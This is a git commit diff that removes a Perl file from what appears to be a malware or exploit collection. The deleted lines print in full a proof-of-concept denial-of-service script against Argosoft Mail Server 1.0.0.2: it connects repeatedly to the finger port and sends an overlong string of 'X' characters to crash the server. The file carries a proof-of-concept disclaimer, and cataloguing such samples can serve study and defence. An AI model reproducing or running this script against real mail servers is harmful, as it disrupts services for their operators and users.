Delete DoS.Perl.Chopsui

na
2026-06-16 15:59:24 +00:00 · 2020-11-14 01:18:52 -06:00
parent 1753c18468
commit 0a96f6a1fe
1 changed files with 0 additions and 38 deletions
@@ -1,38 +0,0 @@
 #
 # Argosoft Mail Server 1.0.0.2 DoS
 # Chopsui-cide[MmM] 2000
 #
 # ----------------------------------------------------------
 # Disclaimer: this file is intended as proof of concept, and
 # is not intended to be used for illegal purposes. I accept
 # no responsibility for damage incurred by the use of it.
 # ----------------------------------------------------------
 #
 # This will cause Argosoft Mail Server 1.0.0.2 to page fault if the finger
 # daemon is running.
 #
 use IO::Socket;
 $host = "tr" ;
 $port = "79";
 $count = 0;
 $sod = "";
 $len = 3000;
 while($count < $len) {
        $sod .= "X";
        $count += 1;
 }
 $sod .= "\@X";
 $count = 0;
 while($count < 5) {
 print "Connecting to $host:$port...";
 $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "unable to connect.\n";
 print "done.\n";
 print $socket "$sod\x0a";
 sleep(5);
 close($socket);
 $count += 1;
 }